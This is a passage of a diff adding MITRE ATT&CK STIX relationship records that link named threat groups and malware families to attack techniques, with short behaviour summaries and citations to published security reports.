GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) bypassed User Access Control (UAC).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses basic obfuscation in the form of spaghetti code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5ef1c7d8-70bc-4634-b705-644f4d1db3b0", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) digitally signed an executable with a stolen certificate from legitimate company AI Squared.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f6915cfa-4c11-4830-bcd8-aa648596b895", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe86edf0-d69f-48bc-bdb7-7fd8a8dbcb82", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encrypts C2 data with a ROR by 3 and an XOR by 0x23.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1ba38510-0489-4305-944f-451e6869b30f", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9c593e55-8c4d-4705-9e8b-ac83962973df", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d that attempts to appear legitimate; the service's display name is \u201cMicrosoft Network Realtime Inspection Service\u201d and its description is \u201cHelps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of writing to a Registry Run key to establish.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f2d1bf8c-6541-40af-8c84-48c7570fb50b", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c354d751-4688-49c5-9f9a-0d2bc705f645", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[yty](https://attack.mitre.org/software/S0248) runs ipconfig /all and collects the domain name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f9841bd6-ec35-423f-8b47-3f215fda197a", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.169Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of creating a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f1456e13-5f3f-4dac-a002-2bd78c36348a", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a scheduled task to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of stealing usernames and passwords from browsers on the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim computer name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--73fe447a-8d70-433f-be9a-5af74934a662", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server. [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has conducted port scans on a host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--47e4d006-2685-4628-a46b-f6d9066f3585", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6b2cd244-a02f-4b76-85d9-a429a298f016", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) component KillDisk is capable of deleting Windows Event Logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c9dca829-6417-4121-9462-650ac852b8c2", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.764Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.", + "source_name": "ESEST Black Energy Jan 2016", + "url": "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Hikit](https://attack.mitre.org/software/S0009) supports peer connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1", + "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "source_name": "Novetta-Axiom", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) disables the Windows firewall before binding to a port.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--279654f5-dece-48db-bc9a-93242b62433c", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) creates a new service named WmiApSrvEx to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--56c41e3f-3d8f-4f36-9885-955952e700db", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.296Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + }, + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers informatin on the IP forwarding table, MAC address, and network SSID.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7e860d9b-29fd-4acf-b624-076a0c60b9df", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "source_name": "Symantec Backdoor.Nidiran", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + }, + { + "description": "Microsoft. (2006, October 30). How to use the SysKey utility to secure the Windows Security Accounts Manager database. Retrieved August 3, 2016.", + "source_name": "Microsoft SAM", + "url": "https://support.microsoft.com/en-us/kb/310105" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Group5](https://attack.mitre.org/groups/G0043) disguised its malicious binaries with several layers of obfuscation, including encrypting the files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.078Z", + "id": "relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.574Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 